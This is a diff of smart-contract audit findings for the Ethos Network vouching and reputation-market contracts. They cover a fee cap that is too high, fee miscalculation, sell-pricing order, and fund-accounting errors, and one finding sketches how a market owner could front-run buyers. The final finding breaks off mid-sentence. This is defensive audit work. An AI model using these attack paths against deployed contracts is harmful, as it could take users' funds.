+When a vouch is un-vouched, its author could mark it as unhealthy as long as `unhealthyResponsePeriod` is not expired: +```solidity + function markUnhealthy(uint256 vouchId) public whenNotPaused { + Vouch storage v = vouches[vouchId]; + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + _vouchShouldExist(vouchId); +@> _vouchShouldBePossibleUnhealthy(vouchId); + _vouchShouldBelongToAuthor(vouchId, profileId); + v.unhealthy = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unhealthyAt = block.timestamp; + + emit MarkedUnhealthy(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` +```solidity + function _vouchShouldBePossibleUnhealthy(uint256 vouchId) private view { + Vouch storage v = vouches[vouchId]; + bool stillHasTime = block.timestamp <= + v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; + + if (!v.archived || v.unhealthy || !stillHasTime) { + revert CannotMarkVouchAsUnhealthy(vouchId); + } + } +``` +However, if `unhealthyResponsePeriod` is updated to a smaller value, some authors might be unable to mark their unvouched vouch as `unhealthy`: +- Suppose `unhealthyResponsePeriod` is `24 hours` +- Alice unvouches one of her vouch at time `T`. She can mark it as `unhealthy` before `T + 24 hours` +- `unhealthyResponsePeriod` is updated to `8 hours` at `T + 12 hours` +- Alice is unable to mark her vouch as `unhealthy` due to expiration. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The author might be unable to mark their unvouched vouch as `unhealthy` in time if `unhealthyResponsePeriod` is updated suddenly +### PoC + +_No response_ + +### Mitigation + +Each vouch should have their own `unhealthyResponseEndTime`: +```diff + struct ActivityCheckpoints { + uint256 vouchedAt; + uint256 unvouchedAt; + uint256 unhealthyAt; ++ uint256 unhealthyResponseEndTime; + } + + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; ++ v.activityCheckpoints.unhealthyResponseEndTime = block.timestamp + unhealthyResponsePeriod; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } + + function _vouchShouldBePossibleUnhealthy(uint256 vouchId) private view { + Vouch storage v = vouches[vouchId]; +- bool stillHasTime = block.timestamp <= +- v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; ++ bool stillHasTime = block.timestamp <= ++ v.activityCheckpoints.unhealthyResponseEndTime; + + if (!v.archived || v.unhealthy || !stillHasTime) { + revert CannotMarkVouchAsUnhealthy(vouchId); + } + } +``` \ No newline at end of file diff --git a/335.md b/335.md new file mode 100644 index 0000000..2b95687 --- /dev/null +++ b/335.md @@ -0,0 +1,66 @@ +Dancing Khaki Moose + +Medium + +# Buyers always will purchase votes with higher price than expected + +### Summary + +When users invoke the `buyVotes` function in `ReputationMarket.sol` , they allow price fluctuations within a specified range, determined by `slippageBasisPoints`. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L447 +Simultaneously, market owners have the ability to purchase votes for their own markets, effectively driving up the prices. +Consequently, buyers end up acquiring votes at inflated prices. + + +### Root Cause + +The primary issues identified are insufficient access control and a lack of preventative measures against front-running attacks. + +### Attack Path + +1. A user submits a transaction to purchase votes for a market. +2. The market owner calculates the potential increase in value and strategically places a transaction to purchase their own votes before the user's transaction is processed, thereby front-running the buyer driving up the prices. + +user's parameters: `profileId`, `isPositive`, `expectedVotes`, `slippageBasisPoints`, `msg.value` + +```solidity +minimumVotes = expectedVotes * (SLIPPAGE_POINTS_BASE - slippageBasisPoints) / SLIPPAGE_POINTS_BASE +(fundsAvailable, protocolFee, donation) = previewFees(msg.value, true); +currentTargetVotes = markets[profileId].votes[isPositive ? TRUST : DISTRUST]; +n = markets[profileId].votes[isPositive ? DISTRUST : TRUST]; //oppositeVotes + +x = currentTargetVotes; +while((x / (x + n) + (x + 1) / (x + n + 1) + ... + (x + minimumVotes - 1) / (x + n + minimumVotes - 1)) * markets[profileId].basePrice < fundsAvailable) { + x++; +} + +buyVotes(profileId, isPositive, x - currentTargetVotes, slippageBasisPoints); // front-running +``` +3. This enables the malicious market owner to sell their votes at significantly elevated prices. + +### Impact + +As a result of this manipulation, buyers consistently find themselves purchasing votes at prices that exceed their expectations. + +### Mitigation + +- Add access control +```solidity + if (profileId == _getProfileIdForAddress(msg.sender)) { + revert(".... ......"); + } +``` + +- Or add updater to `MarketUpdateInfo` struct and then Check the front-running by market owner +```solidity + struct MarketUpdateInfo { + uint256 voteTrust; + uint256 voteDistrust; + uint256 positivePrice; + uint256 negativePrice; + uint256 lastUpdateBlock; + uint256 updaterProfileId; // added + } +``` +Add checking code to `ReputationMarket.sol:448`. +`if (lastMarketUpdates[profileId].updaterProfileId == profileId) { revert MarliciousMarketOwner(profileId); }` \ No newline at end of file diff --git a/336.md b/336.md new file mode 100644 index 0000000..0959f0d --- /dev/null +++ b/336.md @@ -0,0 +1,46 @@ +Flat Silver Boa + +Medium + +# The maximum total fees can exceed 10% + +### Summary + +From the [ReadMe](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main?tab=readme-ov-file#q-are-there-any-limitations-on-values-set-by-admins-or-other-roles-in-the-codebase-including-restrictions-on-array-lengths) file. one of the limitations on values that are set by admins is **For both contracts: Maximum total fees cannot exceed 10%** + + +### Root Cause + +in [EthosVouch.sol:120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) the constant `MAX_TOTAL_FEES` is 10_000 which is 100%. +The constant `MAX_TOTAL_FEES` value used in the function `checkFeeExceedsMaximum()` which checks if the new fee would cause the total fees to exceed the maximum allowed. +This function used in four functions **only callable by admin** `setExitFeeBasisPoints()`, `setEntryVouchersPoolFeeBasisPoints()`, `setEntryDonationFeeBasisPoints()` and `setEntryProtocolFeeBasisPoints()`. + +### Internal pre-conditions + +Admin needs to call e.g. `setExitFeeBasisPoints()` and set the `exitFeeBasisPoints` to a big/unfair percentage e.g. 99% + +### External pre-conditions + +_No response_ + +### Attack Path + +1- Admin set the total fees to a fair percentage e.g. 5% +2- Normal users start invoking `vouchByProfileId()` and `vouchByAddress()` +3- Admin Triggers `setExitFeeBasisPoints()` and set the `exitFeeBasisPoints` to an unfair percentage e.g. 99% +4- Normal user calls `unvouch()` function to Unvouches vouch, but after applying fees the amount that is left to send back to the author is only 1% + +### Impact + +The protocol can take all the staked ETH from the users as a fees (could be any type of fee) + +### PoC + +_No response_ + +### Mitigation + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/337.md b/337.md new file mode 100644 index 0000000..112239b --- /dev/null +++ b/337.md @@ -0,0 +1,200 @@ +Original Boysenberry Hare + +High + +# Incorrect Logic in `_calculateSell()` Function Causes Seller to Receive Fewer Funds Than Expected + +## Description + +**Context:** + +Users holding trust or distrust votes purchased from a Reputation Market, can sell them to either profit from a price increase caused by other users buying the same type of vote or minimize losses by quickly exiting the market before the price drops further by selling at the current price. + +**Vulnerability Details:** + +The [_calculateSell()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045) function is internally called when a user wants to [sell](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) their trust/distrust votes. + +If we examine the logic responsible for calculating the amount of funds the seller will receive: + +[ReputationMarket.sol#L1031-L1040](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1031-L1040): + +```solidity + ... + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } + + ... +``` + +1. First, the market total trust/distrust vote count is decremented by 1, indicating that a single trust/distrust vote has been sold (depending on which vote type the seller is selling): + +```solidity + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +``` + +2. Next, the new vote price is calculated based on the updated market condition: + +```solidity + votePrice = _calcVotePrice(market, isPositive); +``` + +If we inspect the [_calcVotePrice()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923) function, it contains the following logic: + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + + // 1. get total votes of the market (trust votes + distrust votes) + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + + // 2. calculate vote price: number of trust/distrst votes market has * Market base Price / totalVotes + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + + } +``` + +3. The `fundsReceived` local variable is updated by incrementing it with the amount of funds the seller will receive in ETH: + +```solidity + fundsReceived += votePrice; +``` + +4. The loop continues until the number of votes the seller wants to sell is sold: + +```solidity + while (votesSold < amount) { + ... + + + ... + votesSold++; + } +``` + +The problem lies in the order of operations. First, the `fundsReceived` local variable should be updated to track the current vote price being sold. Next, the market condition should be updated, followed by recalculating the vote price based on the new market condition. + +However, this is not how it is currently implemented. In the current implementation, the price used to update the `fundsReceived` variable reflects the condition after the market has already changed. As a result, the seller receives less funds than he should when selling his votes. + +Take a look at the [_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983) function, which is responsible for calculating how many votes a user can buy with the amount of ETH sent: + +[ReputationMarket.sol#L961-L977](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L961-L977): + +```solidity + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + ... + + ... + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +``` + +1. The user pays the current vote price based on the current market condition when buying a trust/distrust vote: + +```solidity + fundsAvailable -= votePrice; +``` + +2. The market total trust/distrust vote count is updated after payment: + +```solidity + market.votes[isPositive ? TRUST : DISTRUST] += 1; +``` + +3. The vote price is recalculated to reflect the updated market condition: + +```solidity + votePrice = _calcVotePrice(market, isPositive); +``` + +The main difference between `_calculateBuy()` and `_calculateSell()` functions, is the sequence of operations. Buyers pay the current vote price before the market condition is updated, while sellers receive funds after the market is updated. This discrepancy causes sellers to receive less than expected funds. + +To resolve this issue, the `‍_calculateSell()‍‍‍‍‍` logic should match the `_calculateBuy()` logic or vice versa. Without this adjustment, sellers will continue to receive less than the expected funds. + +## Impact + +**Damage:** High + +**Likelihood:** High + +**Details:** Sellers receive fewer funds than they should when selling their votes. This means they will earn less if they are in profit, or if they are trying to minimize their losses, they will lose more funds. + +## Proof of Concept + +**Attack Path:** + +1. Suppose a seller has `10 trust votes`, with each vote priced at `1 ETH`. +2. The seller sells all `10 trust votes`. +3. The seller receives less than `10 ETH`. + +**POC:** + +- Not Needed + +## Recommended Mitigation + +Refactor the `while` loop responsible for calculating the amount of funds the seller will receive inside the `_calculateSell()` function, as follows: + +```diff + function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + ... + // some code here + ... + + + uint256 votePrice = _calcVotePrice(market, isPositive); + + + ... + // some code here + ... + + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } ++ fundsReceived += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +- fundsReceived += votePrice; + votesSold++; + } + + ... + // rest of the function + ... + } +``` \ No newline at end of file diff --git a/338.md b/338.md new file mode 100644 index 0000000..3319d10 --- /dev/null +++ b/338.md @@ -0,0 +1,62 @@ +Sweet Carmine Dachshund + +Medium + +# Incorrect value of `MAX_TOTAL_FEES` could lead to fee limit breaches + +### Links to affected code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Summary + +According to [README.MD](https://github.com/sherlock-audit/2024-11-ethos-network-ii?tab=readme-ov-file#q-are-there-any-limitations-on-values-set-by-admins-or-other-roles-in-the-codebase-including-restrictions-on-array-lengths), the sponsor stated that: +> Maximum total fees cannot exceed 10% + +Whenever one of fee is updated, it will be checked in advance to ensure that total fees can not exceed `MAX_TOTAL_FEES`: +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +However, the value of `MAX_TOTAL_FEES` is incorrect, and the total fees can be up to `100%`: +```solidity +120: uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect value of `MAX_TOTAL_FEES` could lead to fee limit breaches + +### PoC + +_No response_ + +### Mitigation + +Correct the value of `MAX_TOTAL_FEES`: +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/339.md b/339.md new file mode 100644 index 0000000..4b1dff4 --- /dev/null +++ b/339.md @@ -0,0 +1,42 @@ +Joyful Admiral Donkey + +Medium + +# ReentrancyGuardUpgradeable.sol should be used instead of ReentrancyGuard.sol + +### Summary + +In upgradeable smart contracts, maintaining a consistent storage layout is critical, as each contract upgrade relies on an unchanged storage structure to function correctly. The `ReentrancyGuard.sol` contract was developed for non-upgradeable implementations, meaning it does not follow the same storage pattern as `ReentrancyGuardUpgradeable.sol`, which was specifically designed to support upgradeable contracts. If `ReentrancyGuard.sol` is mistakenly used in an upgradeable context, there is a high risk of storage clashes. Such conflicts can lead to corrupted or misplaced data, as `ReentrancyGuard.sol` lacks the initializer structure needed for compatibility with upgradeable proxies, including the UUPS (Universal Upgradeable Proxy Standard) and other proxy-based patterns. Therefore, using `ReentrancyGuard.sol` in upgradeable contracts is unsafe and could result in significant issues. +Also, the use of `ReentrancyGuard.sol` is opposite of how AccessControl is setup in the `EthosVouch.sol` contract. + +> import { AccessControl } from "./utils/AccessControl.sol"; + +The custom access control contract, inherits from [`AccessControlEnumerableUpgradeable.sol`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L7) from OpenZeppelin which also suggests that the contracts are meant to be compliant with upgradeable pattern, and thus using non-upgradeable `ReentrancyGuard.sol` is quite the opposite of what's intended. + +### Root Cause + +In [EthosVouch.sol#L11](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L11), the issue is caused by the use of non-upgradeable variant of the contract instead of upgradeable ones. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Using ReentrancyGuard.sol might result in storage clashes that could corrupt data, as ReentrancyGuard.sol will not have the same initializer structure, making it incompatible with UUPS or other upgradeable proxy patterns + +### PoC + +_No response_ + +### Mitigation + +`ReentrancyGuardUpgradeable.sol` from OZ should be used instead of ReentrancyGuard.sol \ No newline at end of file diff --git a/340.md b/340.md new file mode 100644 index 0000000..92465db --- /dev/null +++ b/340.md @@ -0,0 +1,50 @@ +Lively Violet Troll + +Medium + +# `ReputationMarket::updateDonationRecipient` Lack respect for EthosProfile address that marked as compromised, leading the donation fund stuck for the specific `profileId` + +### Summary + +EthosProfile `profileId` can have multiple addresses. Given the design where `ReputationMarket::createMarket` would create a market and assign the recipient of donation with corresponding `msg.sender` and `profileId`, there is no way to other addresses belong to `profileId` to change this address later if the current `msg.sender` are removed and marked as compromised by the owner of `profileId`. + +### Root Cause + +`ReputationMarket::updateDonationRecipient` has no handling if the donation recipient is already marked as compromised in EthosProfile contract, as this protocol needs EthosProfile for checking the `profileId` but `ReputationMarket` contracts lack respect of the state of EthosProfile as whole. + +The [strict requirement](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L552) in `ReputationMarket` where the one who can change the address is the current recipient would be problematic later on because we should note that the design of EthosProfile `profileId` can have multiple addresses tied to it. + +### Internal pre-conditions + +1. Alice create EthosProfile using `addressA` and got `profileId` = `1` +2. Alice also add `addressB` to her `profileId` + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice call `ReputationMarket::createMarket` using `addressA` +2. the tx would set `donationRecipient` of profileId 1 = `addressA` +3. buy and sell happened +4. fast forward, Alice removed and marked as compromise for `addressA` on EthosProfile. (meaning she can't use `addressA` again) +5. now she cant call `withdrawDonations` or `updateDonationRecipient` for `profileId` = `1` and the fund for her `profileId` locked out because `addressB` can do nothing accessing the market of `profileId` tied to it. + + +### Impact + +Because the `profileId` are tied to only one address in `ReputationMarket`, the following impact would happen if the attack path happens: + +1. User can not withdraw donation corresponding of their own `profileId`. Their fund are locked in the contract. +2. The only option for user to use the `ReputationMarket` again is to abandond their `profileId` and create new one. + + +### PoC + +_No response_ + +### Mitigation + +1. function `ReputationMarket::updateDonationRecipient` and `ReputationMarket::withdrawDonations` should also check if the address registered are marked as compromise or not in the EthosProfile contracts before executing the function. This can be achieved by reading the [state of EthosProfile mapping of compromised address](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L72). +2. specifically, `updateDonationRecipient` should allow other address that belong to same `profileId` to change the donation recipient address if the current one are marked as compromised. diff --git a/341.md b/341.md new file mode 100644 index 0000000..f54b8da --- /dev/null +++ b/341.md @@ -0,0 +1,44 @@ +Cheesy Neon Snake + +Medium + +# Incorrect assignment of `MAX_TOTAL_FEES`. + +### Summary + +The `MAX_TOTAL_FEES` has incorrectly assigned as 100% instead of 10%. + +### Root Cause + +According to the readme max total fee should be 10%. +>For both contracts: +> Maximum total fees cannot exceed 10% + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +It is expected that the maximum total fee for both contracts should be 10%. However, the `EthosVouch.sol` contract violates this assumption. +And setting max total fee as 100% is irrelevant. + +### Impact + +Incorrect max total fee assignment. + +### PoC + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Mitigation + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/342.md b/342.md new file mode 100644 index 0000000..00502e3 --- /dev/null +++ b/342.md @@ -0,0 +1,88 @@ +Sweet Carmine Dachshund + +High + +# A new reputation market might be created with incorrect configuration + +### Summary + +`ReputationMarket` use `marketConfigs` to store all different market configs: +```solidity +107: MarketConfig[] public marketConfigs; +``` +`marketConfigs` can be managed through different functions: +- [`addMarketConfig()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L360-L383): add a new market config +- [`removeMarketConfig()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L389-L410): remove a existing config + +When a market config is removed, it might be replaced with the last market config: +```solidity + function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) { + revert InvalidMarketConfigOption("Must keep one config"); + } + + // Check if the index is valid + if (configIndex >= marketConfigs.length) { + revert InvalidMarketConfigOption("index not found"); + } + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } +``` + +Whenever creating a new reputation market, a market config index needs be specified: +```solidity + function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + uint256 senderProfileId = _getProfileIdForAddress(msg.sender); + + // Verify sender can create market + if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) { + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + } + _createMarket(senderProfileId, msg.sender, marketConfigIndex); + } +``` + +However, the specified market config might happen to be removed when the new market creation transaction is submitted, the specified market config will be replaced with the last market config, resulting the new market being created with incorrect configuration. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +A new reputation market might be created with incorrect configuration + +### PoC + +_No response_ + +### Mitigation + +Instead of removing a market config, it's recommended to disable it. Disabled configs cannot be used for new market creation. \ No newline at end of file diff --git a/343.md b/343.md new file mode 100644 index 0000000..e1d6bc6 --- /dev/null +++ b/343.md @@ -0,0 +1,43 @@ +Cuddly Plum Cheetah + +Medium + +# Incorrect `MAX_TOTAL_FEES` Allows Total Fees to Exceed Protocol Limit + +## Summary + +The `MAX_TOTAL_FEES` constant in the `EthosVouch` contract is incorrectly set to 10000 basis points (100%), contradicting the protocol's documented limit of 10% (1000 basis points) for total fees. + +## Vulnerability Details + +The `EthosVouch` contract defines a constant `MAX_TOTAL_FEES` as 10000 basis points (100%): +[EthosVouch.sol#L120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120) +```js + uint256 public constant MAX_TOTAL_FEES = 10000; +``` +`checkFeeExceedsMaximum` function is called before updating any fee to ensure the total doesn't exceed `MAX_TOTAL_FEES` +[EthosVouch.sol#L996-L1004](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004) +```js +function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +@> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +While this mechanism enforces a cap, the cap is erroneously set to 100%, which contradicts the protocol requirement documented in the project's __README__: + +> For both contracts: + Maximum total fees cannot exceed 10% + +## Impact +The current implementation allows the maximum total fees to reach 100% instead of the intended 10% + +## Recommendation +Update the MAX_TOTAL_FEES constant to enforce the correct protocol limit of 10% (1000 basis points): +```js +uint256 public constant MAX_TOTAL_FEES = 1000; +``` diff --git a/344.md b/344.md new file mode 100644 index 0000000..2ff919b --- /dev/null +++ b/344.md @@ -0,0 +1,109 @@ +Cheesy Cinnabar Mammoth + +Medium + +# Incorrect fee calculation in EthosVouch::calcFee() + +### Summary + +In `EthosVouch` there are 4 different fees that can be set by the protocol that are applied when an author vouches, increases their vouch, or unvouches. The amount to charge for each type of fee is calculated by `EthosVouch::calcFee`. A logical error in this calculation always undercharges fees (e.g. a 5% fee only gets charged at ~4.7%). + +### Root Cause + +The `feeBasisPoints` is added to the denominator instead of being subtracted from the numerator: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L987-L989 + +### Internal pre-conditions + +1. At least 1 of the 4 fees is set to a non-zero amount +2. A user vouches, increases their vouch, or unvouches so that `calcFee()` is called + +### External pre-conditions + +n/a + +### Attack Path + +1. The protocol sets one or more fees (e.g., protocol fee = 500 basis points or 5%) +2. A user interacts with the contract in one of three ways: +- Creates a new vouch +- Increases an existing vouch +- Unvouches +3. `applyFees` is called which calls `calcFee()` for each fee type. +4. `calcFee()` incorrectly calculates the fee amount consistently undercharging + +### Impact + +Loss of funds for the protocol, subject, and previous vouchers depending on what fees are non-zero and whether vouching, increasing a vouch, or unvouching is occurring. + +### PoC + +To run the POC: +1. Initialize a Foundry repo +2. `forge install https://github.com/OpenZeppelin/openzeppelin-contracts.git` +3. Create a new .t.sol file in /test/ and then paste the code below +8. Run `forge test --mt testCalcFeeTest -vv` + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import { Math } from "../lib/openzeppelin-contracts/contracts/utils/math/Math.sol"; + +contract CalcFeeTest is Test { + using Math for uint256; + uint256 constant BASIS_POINT_SCALE = 10000; + + function testCalcFeeTest() public pure { + // Test with 5% fee (500 basis points), so fee amount should be 5 ether + uint256 total = 100 ether; + uint256 feeBasisPoints = 500; // 5% + + // this line is what calcFee() returns + uint256 feeAmount = total - (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + + // this is the correct implementation of a 5% fee + uint256 correctFeeAmount = total - (total.mulDiv(BASIS_POINT_SCALE - feeBasisPoints, BASIS_POINT_SCALE, Math.Rounding.Floor)); + + console.log("Fee amount:", feeAmount); + console.log("Correct fee amount:", correctFeeAmount); + + assertLt(feeAmount, correctFeeAmount); + assertEq(correctFeeAmount, 5 ether); + } +} + +``` +Logs: +```solidity +[PASS] testCalcFeeTest() (gas: 8893) +Logs: + Fee amount: 4761904761904761905 + Correct fee amount: 5000000000000000000 + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 341.29µs (145.54µs CPU time) +``` + +### Mitigation + +Update: + +```diff +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - +- (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); ++ (total.mulDiv(BASIS_POINT_SCALE - feeBasisPoints, (BASIS_POINT_SCALE), Math.Rounding.Floor)); + } +``` \ No newline at end of file diff --git a/345.md b/345.md new file mode 100644 index 0000000..cd57419 --- /dev/null +++ b/345.md @@ -0,0 +1,64 @@ +Rapid Crepe Scallop + +High + +# Market funds for a profile ID are set higher than the actual funds causing revert in withdrawl + +### Summary + +When a user buys a vote then a part of the total funds paid by the user goes to the protocol and donation and the rest should go to the market funds for later withdraw by the graduation contract upon graduation. But in the `buyVotes` function; the market fund for a profile ID is added with the total funds spent by the user. This is inclusive of the protocol and donation Fee. + +The protocol fee goes directly to the protocol fee address while the donation fee goes to the escrow that can be withdrawn anytime by the owner of the profile. If this gets added to the market funds of the profile ID then upon graduation of a profile, `withdrawGraduatedMarketFunds` function will send more funds than the actual market fund causing either less funds in the `ReputationMarket` contract or will cause the function to revert because of insufficient funds. + +### Root Cause + +In `ReputationMarket::buyVotes` function line: + +`marketFunds[profileId] += fundsPaid;` + +The `fundsPaid` variable includes the actual funds paid to buy the votes, the protocol fee and the donation fee (https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978). + +This gets added to the market funds which will cause lower funds in the `ReputationMarket` contract upon graduation or revert if there are insufficient funds in the contract. + +ref: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481C31-L481C40 + + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The Attack will happen naturally as the graduation contract tries to withdraw the market funds for a profile ID from the `ReputationMarket` contract upon graduation. + +ref: 